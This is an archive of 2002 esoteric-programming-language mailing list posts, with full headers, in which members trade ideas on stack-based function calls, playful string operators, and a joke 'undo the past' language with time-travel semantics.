<(oO)>  Cthulhu       ()  ASCII ribbon campaign     \ \/ \/\/\ \/ \/\/
 /||\   Fhtagn!       /\    against HTML mail       /\/\./\/\/\/\./\/\





From esoteric@oiva.sange.fi Wed Jun 19 00:04:44 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KQ8B-0007XC-00; Wed, 19 Jun 2002 00:03:15 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 00:03:07 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KQ7z-0007Ww-00; Wed, 19 Jun 2002 00:03:03 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 00:02:55 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KQ7r-0007Wq-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 00:02:55 +0300
Received: from dds.nl (xs241-230-36.dial.tiscali.nl [195.241.230.36])
	by pandora.tiscali.nl (Postfix) with ESMTP id BF99D3BF1F
	for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 23:02:45 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D0FAAC2.86E70664@dds.nl>
Date: Tue, 18 Jun 2002 23:48:50 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206151629.01197.cbiffle@safety.net> <3D0E2E9E.E9CC66F@dds.nl> <200206172352.41571.cbiffle@safety.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Cliff L. Biffle wrote:

> > But why not eliminate the function call completely, making all references
> > to a function pushes, and add an operator meaning "pop a function off the
> > stack and apply it to the items below"?  That way, the above code would
> > become something like "mao marx lenin ! bar foo !".  Actually, when I think
> > about it again, that looks a lot like RUL (Reverse Unlambda Notation)...
>
> I like it, and have considered it.  How, though, would it know how much data
> to feed into the function?  That's the main problem I ran into.  The stack
> doesn't necessarily 'stop' right under the arguments.  (Though something like
> stack frames could be used to limit scope.)  Thoughts?

How do you know how much data to feed into the function using your way?  I don't
see the problem, just do it the same way.

Alternatively, pass the function the whole stack.  It will only pop off what it
needs and ignore the rest.  Of course, this allows functions to peek too far,
making bugs easier to make and harder to track, but considering you're
duscussing this on an esoteric language list, you've got to make something
esoteric about the language...







From esoteric@oiva.sange.fi Wed Jun 19 00:04:45 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KQ8B-0007XB-00; Wed, 19 Jun 2002 00:03:15 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 00:03:07 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KQ7m-0007Wg-00; Wed, 19 Jun 2002 00:02:50 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 00:02:42 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KQ7e-0007Wa-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 00:02:42 +0300
Received: from dds.nl (xs241-230-36.dial.tiscali.nl [195.241.230.36])
	by pandora.tiscali.nl (Postfix) with ESMTP id 01AD33BF9E
	for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 23:02:35 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D0FA74C.F45BCBF3@dds.nl>
Date: Tue, 18 Jun 2002 23:34:04 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: Malbolge
References: <20020618063351.93577.qmail@web14007.mail.yahoo.com> <39513628913.20020618223111@frox25.dhs.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Mtv Europe wrote:

>    if (time_fork (&save_game, &information)) {
>       sleep (1 * DAY);
>       scan_mailbox ("malbolge", &information);
>       time_jmp (save_game, information);
>    } else {
>       print (information);
>    }

You're assuming that somebody will send in a solution tomorrow.  Shouldn't you use
some sort of looping?

Also, this would create a paradox: somebody in the future writes a "Hello,
world!" program, then you warp it back in time and post it first, but then it will
already have been posted and there will be no need for anyone to reinvent it, thus
there will never be a "Hello, world!" program, therefore your time travel program
will fail, therefore you will not post the solution, therefore somebody in the
future will, therefore, your time travel program will succeed, ad nauseum.

> Mtv Europe, with hope that his bad jokes will suggest an idea of new
> interesting language to somebody

Would it produce anything meaningful if a programming language had some sort of time
travel (simulated, of course, by recalculating the past each time(!) that time
travel is invoked), where functions could be executed before their input is known?








From esoteric@oiva.sange.fi Wed Jun 19 00:04:45 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KQ8B-0007XA-00; Wed, 19 Jun 2002 00:03:15 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 00:03:07 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KQ7p-0007Wn-00; Wed, 19 Jun 2002 00:02:53 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 00:02:46 +0300 (EEST)
Received: from pandora.tiscali.nl ([195.241.76.179])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KQ7h-0007Wh-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 00:02:45 +0300
Received: from dds.nl (xs241-230-36.dial.tiscali.nl [195.241.230.36])
	by pandora.tiscali.nl (Postfix) with ESMTP id EFA5E4EEBB
	for <lang@esoteric.sange.fi>; Tue, 18 Jun 2002 23:02:41 +0200 (MET DST)
Sender: root@pandora.tiscali.nl
Message-ID: <3D0FA9B8.504D7EB5@dds.nl>
Date: Tue, 18 Jun 2002 23:44:24 +0200
From: Milo van Handel <mwq@dds.nl>
Organization: Milo-Soft
X-Mailer: Mozilla 4.08 [en] (X11; I; Linux 2.2.3-5 i586)
MIME-Version: 1.0
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
References: <Pine.LNX.4.44.0206181311000.12382-100000@melkinpaasi.cs.Helsinki.FI> <200206181038.01706.cbiffle@safety.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: mwq@dds.nl
Precedence: bulk
X-list: misc

Cliff L. Biffle wrote:

> On Tuesday 18 June 2002 03:49 am, you wrote:
> > Yes. Though obviously variable frames have to be somehow implementable
> > efficiently, as witness various functional language implementations. (I
> > guess they analyse the code of anonymous functions / code blocks for
> > references to outside variables, and pass them in a closure as a hidden
> > parameter. But this would require more detailed discussion.)
>
> I'll be hitting the university science library later to see what sort of
> materials I can collect.
>
> > "abracadabra" / "ab" -> "racadra"
>
> Not "abracadabra" / "ab" -> 2?

That's a good one.  Panu's operator is also nice, but should be renamed "-".
Also, "+" is concatenation, and "*" is repetition, so "ba"+"na"*2 would produce
"banana".  "%" (modulo) could be truncation, and bit shifts don't really fit in a
functional language but if they're there, "abracadabra"<<3 is "acadabra" and
"abracadabra">>3 is "   acadabra" (s>>n=n*" "+s).  The bitwise negation "~" could
be string reversal (~"abracadabra"="arbadacarba").  Et cetera.

In case you haven't noticed yet, I wrote a string class to excercise my C++, and
being new to the language back then, I wanted to experiment with operator
overloading...

> > The reason I asked the question was, if all types support all possible
> > operations, in order to add new types, you should have a way to define
> > their operations. This would give a beautiful OO approach, but might be
> > way too elaborate for a language like this.
>
> *nod*
> Not all types support all possible operations, at the moment.  For example,
> concatenating two integers doesn't make a lot of sense to me.

According to my idea above, string concatenation would receive the same operator
as the integer addition, meaning that a seperate concatenation is unneeded.








From esoteric@oiva.sange.fi Wed Jun 19 02:06:48 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KS2H-0007uI-00; Wed, 19 Jun 2002 02:05:17 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 02:05:10 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KS1m-0007u9-00; Wed, 19 Jun 2002 02:04:46 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 02:04:39 +0300 (EEST)
Received: from web14005.mail.yahoo.com ([216.136.175.121])
	by oiva.sange.fi with smtp (Exim 3.33 #1)
	id 17KS1d-0007u3-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 02:04:37 +0300
Message-ID: <20020618230435.3124.qmail@web14005.mail.yahoo.com>
Received: from [62.248.144.20] by web14005.mail.yahoo.com via HTTP; Wed, 19 Jun 2002 00:04:35 BST
Date: Wed, 19 Jun 2002 00:04:35 +0100 (BST)
From: =?iso-8859-1?q?Stephen=20Sykes?= <s_d_sykes@yahoo.co.uk>
Subject: [lang] Re: time travel, was Malbolge
To: lang@esoteric.sange.fi
In-Reply-To: <3D0FA74C.F45BCBF3@dds.nl>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: s_d_sykes@yahoo.co.uk
Precedence: bulk
X-list: misc

> Would it produce anything meaningful if a programming language had some
> sort of time
> travel (simulated, of course, by recalculating the past each time(!)
> that time
> travel is invoked), where functions could be executed before their input
> is known?

Ah, maybe this is the time to mention the yet to be announced
shoulda/whatif language that Mike Taylor and I have talked about.  

The basic idea is that you can at some later point in a program say "Darn,
I meant to say LET A=28 at line 14", and the language will unwind
everything that was done after line 14, and redo everything with the new
value 28 for A.

Input and output are interesting.  You need to have some scheme where I/O
can be undone.  I solved it for simple text IO by asking the user to
forget each bit of output, and have the interpreter tell you when it is
forgetting input.

Here is a very simple example program where I base new past values on the
current value of that variable.  Also, the language in this example only
allows you to retrospectively change values of constants.

> const $a = 1
> print "given a=$a, tell me b:"
> input $b
> if ($a<4) darn, $a should have been $a+1
> print "okay, b is $b\n"
> darn, $a should have been 50

The interactive session looks like this, where a # precedes anything the
interpreter wants to tell you:

given a=1, tell me b:59
#forgetting b=59
#forget "given a=1, tell me b:"
given a=2, tell me b:70
#forgetting b=70
#forget "given a=2, tell me b:"
given a=3, tell me b:-4
#forgetting b=-4
#forget "given a=3, tell me b:"
given a=4, tell me b:101
okay, b is 101
#forget "okay, b is 101"
#forgetting b=101
#forget "given a=4, tell me b:"
given a=50, tell me b:999
okay, b is 999

Well, I hope you get the idea.

I wonder if there is any mileage in this type of thing?

Stephen
+- S.D.Sykes - www.stephensykes.com - +358 50 577 3879 -
| "You do not want a sophisticated story, you want to 
| have fun, be surprised, find the code to open the door 
| and kill everything" -- Emmanuel Forsans



__________________________________________________
Do You Yahoo!?
Everything you'll ever need on one web page
from News and Sport to Email and Music Charts
http://uk.my.yahoo.com





From esoteric@oiva.sange.fi Wed Jun 19 11:22:37 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kai9-0009e1-00; Wed, 19 Jun 2002 11:21:05 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 11:20:57 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KahV-0009dk-00; Wed, 19 Jun 2002 11:20:25 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 11:20:18 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KahM-0009cv-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 11:20:17 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Wed, 19 Jun 2002 09:16:10 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Wed, 19 Jun 2002 09:15:16 +0100
Message-ID: <000001c21769$72109710$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <3D0FA9B8.504D7EB5@dds.nl>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
X-list: misc

> *nod*
> Not all types support all possible operations, at the moment.  For
example,
> concatenating two integers doesn't make a lot of sense to me.

That is unless you represent an integer as an array of bit, like c strings,
so you could do something like:

conc([0,1,0,1], [0,1,0,0], b);

in which b would have a length of 8 bits (2 bytes) and a representation of
0x54.

or:

conc(0xb, [1], b);

where b would end up as [1,0,1,1,1]

This alone would make cryptography an awful lot easier and so much more
fun...

David.






From esoteric@oiva.sange.fi Wed Jun 19 13:50:59 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kczf-000AOP-00; Wed, 19 Jun 2002 13:47:19 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 13:47:12 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kcwa-000ANd-00; Wed, 19 Jun 2002 13:44:09 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 13:44:01 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KcwR-000ANW-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 13:43:59 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5JAhp226715
	for <lang@esoteric.sange.fi>; Wed, 19 Jun 2002 03:43:51 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Wed, 19 Jun 2002 03:44:50 -0700
X-Mailer: KMail [version 1.4]
References: <Pine.LNX.4.44.0206181311000.12382-100000@melkinpaasi.cs.Helsinki.FI> <200206181038.01706.cbiffle@safety.net> <3D0FA9B8.504D7EB5@dds.nl>
In-Reply-To: <3D0FA9B8.504D7EB5@dds.nl>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206190344.50674.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Tuesday 18 June 2002 02:44 pm, you wrote:
> "-". Also, "+" is concatenation, and "*" is repetition, so "ba"+"na"*2
> would produce "banana".  "%" (modulo) could be truncation, and bit shif=
ts
> don't really fit in a functional language but if they're there,
> "abracadabra"<<3 is "acadabra" and "abracadabra">>3 is "   acadabra"
> (s>>n=3Dn*" "+s).  The bitwise negation "~" could be string reversal
> (~"abracadabra"=3D"arbadacarba").  Et cetera.

I'd feel better if reversal was done by a raise-to-power-of-negative-one =
sort=20
of operator; bitwise negation feels like ~"bob"=3D"BOB" to me. :-)

I'd say add in a bit-rotate instruction (which I usually include in my=20
languages anyway, since the underlying machine almost always has it).  Ca=
ll=20
it <<< and >>>.  Thus, "palindrome" <<< 3 -> "indromepal".

And part of me is tempted to suggest that modulo produce every character =
of=20
the string -not- matched by the equivalent divison (a remainder of sorts)=
,=20
but I'm not sure.  That would mean "abracadabra" % "ab" -> "racadra".

So is this a string calculus we're developing, then? :-)  What would one =
do=20
with, say, exponentiation? :-)


> According to my idea above, string concatenation would receive the same
> operator as the integer addition, meaning that a seperate concatenation=
 is
> unneeded.

Alternatively:  (I'm using . as the concatentation operator here.)
"abc" + "bcd" =3D "ceg"
"abc" . "bcd" =3D "abcbcd"
12 + 47 =3D 59
12 . 47 =3D 1247 (if you're doing BCD; concatenate the bit patterns other=
wise)

-Cliff L. Biffle





From esoteric@oiva.sange.fi Wed Jun 19 13:51:38 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kd1A-000AP0-00; Wed, 19 Jun 2002 13:48:52 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 13:48:44 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KczH-000AOH-00; Wed, 19 Jun 2002 13:46:55 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 13:46:47 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kcz8-000AOB-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 13:46:46 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5JAki226867
	for <lang@esoteric.sange.fi>; Wed, 19 Jun 2002 03:46:44 -0700
Content-Type: text/plain;
  charset="iso-8859-1"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [voodoo] was something about FOREIGN PARTNERS :-)
Date: Wed, 19 Jun 2002 03:47:43 -0700
X-Mailer: KMail [version 1.4]
References: <E17HRf4-000IT8-00@oiva.sange.fi> <200206172352.41571.cbiffle@safety.net> <3D0FAAC2.86E70664@dds.nl>
In-Reply-To: <3D0FAAC2.86E70664@dds.nl>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206190347.43835.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

On Tuesday 18 June 2002 02:48 pm, you wrote:
> How do you know how much data to feed into the function using your way?

Each function takes a defined number and pattern of arguments.  By contra=
st,=20
one of the things I liked about Lisp is that most post-1970 variants woul=
d=20
happily accept three, four, or fifty-two arguments to, for example, the=20
addition function; were this convention followed, a function could swallo=
w=20
the whole stack.  Which brings us to...

> Alternatively, pass the function the whole stack.  It will only pop off
> what it needs and ignore the rest.  Of course, this allows functions to
> peek too far, making bugs easier to make and harder to track, but
> considering you're duscussing this on an esoteric language list, you've=
 got
> to make something esoteric about the language...

*grin*  True, true.
I'm thinking about doing some sort of a short-lifetime stack, where rathe=
r=20
than keeping persistent data on the stack, the stack is scope-sensitive a=
nd=20
cannot be used to pass data between functions.  (A separate persistent=20
argument stack might be available for top-level passing, not sure.)
I'll post when I have a more concrete idea of what I'm thinking of. :-)

-Cliff






From esoteric@oiva.sange.fi Wed Jun 19 13:53:35 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kd33-000AQ0-00; Wed, 19 Jun 2002 13:50:49 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 13:50:41 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kd1X-000APC-00; Wed, 19 Jun 2002 13:49:15 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 13:49:07 +0300 (EEST)
Received: from ns3.safety.net ([216.40.201.32])
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kd1P-000AP6-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 13:49:07 +0300
Received: from cliff (rs.rackshack.net.safety.net [216.40.201.32])
	by ns3.safety.net (8.10.2/8.10.2) with ESMTP id g5JAn5226950
	for <lang@esoteric.sange.fi>; Wed, 19 Jun 2002 03:49:05 -0700
Content-Type: text/plain;
  charset="windows-1252"
From: "Cliff L. Biffle" <cbiffle@safety.net>
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Wed, 19 Jun 2002 03:50:04 -0700
X-Mailer: KMail [version 1.4]
References: <000001c21769$72109710$a500000a@td165>
In-Reply-To: <000001c21769$72109710$a500000a@td165>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Message-Id: <200206190350.04657.cbiffle@safety.net>
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: cbiffle@safety.net
Precedence: bulk
X-list: misc

(fun with bits)
On Wednesday 19 June 2002 01:15 am, you wrote:
> This alone would make cryptography an awful lot easier and so much more
> fun...

And this would run great on the one-bit micro I designed a couple years b=
ack! =20
:-)

-Cliff





From esoteric@oiva.sange.fi Wed Jun 19 14:50:20 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kdx2-000Air-00; Wed, 19 Jun 2002 14:48:40 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 14:48:33 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17Kdwh-000Aic-00; Wed, 19 Jun 2002 14:48:19 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 14:48:11 +0300 (EEST)
Received: from mrwaynxd-new.lnk.telstra.net ([139.130.76.194] helo=gateway.michel.com.au)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KdwW-000AiW-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 14:48:09 +0300
Received: from ork (ork.michel.com.au [203.18.139.105])
	by gateway.michel.com.au (8.11.0/8.11.0) with SMTP id g5JBjIW03489
	for <lang@esoteric.sange.fi>; Wed, 19 Jun 2002 21:45:18 +1000
From: "Ryan Michel" <ryan@michel.com.au>
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Wed, 19 Jun 2002 21:48:03 +1000
Message-ID: <LFEDLOFBCDOICJLLHNHBIELKCBAA.ryan@michel.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <200206190350.04657.cbiffle@safety.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
Sender: misc-bounce@esoteric.sange.fi
Errors-to: misc-bounce@esoteric.sange.fi
X-original-sender: ryan@michel.com.au
Precedence: bulk
X-list: misc

I am intrigued by functional languages (only done c++, basic, bf, a couple
of my own), does anyone know a good overview/free implementation of forth,
lisp, scheme?

From what I have gleened and a few web sites I have begun my own functional
language (no name yet) with single character instructions and function
calls.  Kind of like the bf of functional languages.

ryan

-----Original Message-----
From: lang-bounce@esoteric.sange.fi
[mailto:lang-bounce@esoteric.sange.fi]On Behalf Of Cliff L. Biffle
Sent: Wednesday, 19 June 2002 8:50 PM
To: lang@esoteric.sange.fi
Subject: [lang] Re: [forth] [lisp] Voodoo


(fun with bits)
On Wednesday 19 June 2002 01:15 am, you wrote:
> This alone would make cryptography an awful lot easier and so much more
> fun...

And this would run great on the one-bit micro I designed a couple years
back!
:-)

-Cliff

---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002

---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.365 / Virus Database: 202 - Release Date: 24/05/2002






From esoteric@oiva.sange.fi Wed Jun 19 15:12:14 2002
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KeIL-000Atf-00; Wed, 19 Jun 2002 15:10:41 +0300
Received: with LISTAR (v0.129a; list misc); Wed, 19 Jun 2002 15:10:33 +0300 (EEST)
Received: from localhost ([127.0.0.1] helo=oiva.sange.fi)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KeHs-000AtY-00; Wed, 19 Jun 2002 15:10:12 +0300
Received: with LISTAR (v0.129a; list lang); Wed, 19 Jun 2002 15:10:04 +0300 (EEST)
Received: from tdsiaccess.demon.co.uk ([158.152.60.40] helo=mailhost.tdsi.co.uk)
	by oiva.sange.fi with esmtp (Exim 3.33 #1)
	id 17KeHh-000AtJ-00
	for lang@esoteric.sange.fi; Wed, 19 Jun 2002 15:10:03 +0300
Received: from 10.0.0.165 by mailhost.tdsi.co.uk ([10.0.0.230] running VPOP3) with SMTP for <lang@esoteric.sange.fi>; Wed, 19 Jun 2002 13:10:02 +0100
From: dmoss@tdsi.co.uk
To: <lang@esoteric.sange.fi>
Subject: [lang] Re: [forth] [lisp] Voodoo
Date: Wed, 19 Jun 2002 13:09:03 +0100
Message-ID: <000601c2178a$1b1ce780$a500000a@td165>
MIME-Version: 1.0
Content-Type: text/plain; charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <LFEDLOFBCDOICJLLHNHBIELKCBAA.ryan@michel.com.au>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
X-Server: VPOP3 V1.5.0a - Registered
X-listar-version: Listar v0.129a
Sender: lang-bounce@esoteric.sange.fi
Errors-to: lang-bounce@esoteric.sange.fi
X-original-sender: dmoss@tdsi.co.uk
Precedence: bulk
Reply-to: lang@esoteric.sange.fi
X-list: lang
X-listar-version: Listar v0.129a
